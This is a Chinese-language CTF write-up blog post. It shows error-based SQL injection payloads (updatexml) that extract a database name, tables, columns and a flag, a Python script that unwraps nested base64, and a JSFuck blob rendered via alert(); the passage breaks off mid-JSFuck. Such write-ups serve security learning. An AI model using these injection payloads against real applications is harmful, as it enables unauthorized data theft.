发布于 / 更新于 / ctf / 热度 0 / 喜欢 0

1土肥原贤二

报错注入

1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)#

ABXecn.png

然后注表
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

ADuA1A.png

注列
1’ and updatexml(1,concat(0x7e,(Select group_concat(column_name) from information_schema.columns where table_name=’flag’ ),0x7e),1)#

ADuVXt.png

注flag
1’ and updatexml(1,concat(0x7e,(SELECT flag from flag),0x7e),1)#
ADuE6I.png

日军空袭

见脚本

#coding=utf-8
import base64
import urlparse

tr1='Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1NHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcHBWa1phZVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFkR05GZEZSTlZXdzFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbXRXTVhCRlZXeHdWMDFFUlRCV2Fra3hVakZhV0ZOcmFGWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWWndNRlZ0ZUZOVWJVWTJVbFJDVjJFeVRYaFdSRVpyVTBaT2NscEhjRk5XUjNob1YxZDRiMVV4VWtkWGJrNVlZbGhTV0ZSV1pEQk9iR3hXVjJ4T1ZXSkdjRlpXYlhoelZqRmFObEZZYUZkU1JYQklWbXBHVDFkV2NFZGhSMnhUWVROQ1dsWXhXbXROUjFGNVZXNU9hbEp0VWxsWmJGWmhZMnhXY1ZKdFJsUlNiR3cxVkZaU1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKWVFrbFdiWEJIVkRGa1YyTkZaR2hTTW5oVVdWUk9RMWRzV1hoWGJYUk9VbTE0V0ZaWGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5TUmxweFUydGFiRlpzU2xwWlZWcHJZVWRGZWxGcmJGZGlXRUpJVmtSS1UxWXhXblZWYldoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxkSFVsWlVWbHBIVFRGU2MxWnRkRmRpVlhCNVdUQmFjMWR0U2tkWGJXaGFUVlp3ZWxreU1VZFNiRkp6Vkcxc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQnhWV3hrVTFsV1VsWlhiVVpyWWtad2VGVnRkREJWTWtwSVZXcENXbFpXY0hKWlZXUkdaVWRPU0U5V2FHaE5WbkJ2Vm10U1MxUXlUWGxVYTFwaFVqSm9WRlJYTVc5bGJHUllaVWM1YVUxWFVucFdNV2h2VjBkS1dWVnJPVlppVkVVd1ZqQmFZVmRIVWtoa1JtUnBWbGhDU2xkV1ZtOVVNVnAwVW01S1QxWnNTbGhVVlZwM1ZrWmFjVkp0ZEd0V2JrSkhWR3hhVDJGV1NuUlBWRTVYVFc1b1dGbFVRWGhUUmtweVdrWm9hV0Y2Vm5oV1ZFSnZVVEZzVjFWc1dsaGlWVnB6V1d0YWQyVkdWWGxrUjNSb1lsVndWMWx1Y0V0V2JGbDZZVVJPV21FeVVrZGFWM2hIWTIxS1IyRkdhRlJTVlhCS1ZtMTBVMU14VlhoWFdHaFhZbXhhVjFsc2FFTldSbXhaWTBaa2EwMVdjREJaTUZZd1lWVXhXRlZyYUZkTmFsWlVWa2Q0UzFKc1pIVlRiRlpYWWtoQ05sWkhlR0ZaVm1SR1RsWmFVRlp0YUZSWmJGcExVMnhhYzFwRVVtcE5WMUl3VlRKMGIyRkdTbk5UYlVaVlZteHdNMVpyV21GalZrcDFXa1pPVGxacmIzZFhiRlpyWXpGVmVWTnNiRnBOTW1oWVZGWmFTMVZHY0VWU2EzQnNVbTFTV2xkclZURldNVnB6WTBaV1dGWXpVbkpXVkVaelZqRldjMWRzYUdsV1ZuQlFWa1phWVdReVZrZFdibEpzVTBkU2NGVnFRbmRXTVZsNVpFaGtWMDFFUmpGWlZWSlBWMjFGZVZWclpHRldNMmhJV1RKemVGWXhjRWRhUlRWT1VsaENTMVp0TVRCVk1VMTRWVzVTVjJFeVVtaFZNRnBoVmpGc2MxcEVVbGRTYlhoYVdUQmFhMWRHV25OalJteGFUVVpWTVZsV1ZYaFhSbFp6WVVaa1RsWXlhREpXTVZwaFV6RkplRlJ1VmxKaVJscFlXV3RvUTFkV1draGtSMFpvVFdzMWVsWXlOVk5oTVVsNVlVWm9XbFpGTlVSVk1WcHJWbFpHZEZKc1drNVdNVWwzVmxkNGIySXhXWGhhUldob1VtMW9WbFpzV25kTk1XeFdWMjVrVTJKSVFraFdSM2hUVlRKRmVsRllaRmhpUmxweVdYcEdWbVZXVG5KYVIyaE9UVzFvV1ZaR1l6RlZNV1JIVjJ4V1UyRXhjSE5WYlRGVFYyeGtjbFpVUmxkTmEzQktWVmMxYjFZeFdqWlNWRUpoVWtWYWNsVnFTa3RUVmxKMFlVWk9hR1ZzV2pSV2JUQjRaV3N4V0ZadVRsaGlSMmh4V2xkNFlWWXhVbGRYYlVaWFZteHdlbGxWYUd0V2F6RldWbXBTVjJKWVFtaFdiVEZHWkRGYWRWUnNWbGRTVlhCVVYxZDBWbVF5VVhoV2JGSlhWMGhDVkZWV1RsWmxiRXBFVmxod1UxRlRWWHBTUTFWNlVrRWxNMFFsTTBRJTNE'


for x in xrange(1,16):
    tr1=tr1.decode('base64')
    if '%3D' in tr1:
        tr1=tr1.replace('%3D','=')

# print tr1

tr1 = urlparse.unquote(tr1)
print tr1
a=''
for x in xrange(0,4):
    a+=tr1[x:x+1]+tr1[x+4:x+5]+tr1[x+8:x+9]+tr1[x+12:x+13]+tr1[x+16:x+17]
    print a



#flag{B64_&_2hai_14i}

吴佩孚

先进行base64解码得到：

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+!+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])

jsfuck了解一下

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无标题文档</title>
<script>
alert((![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+!+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+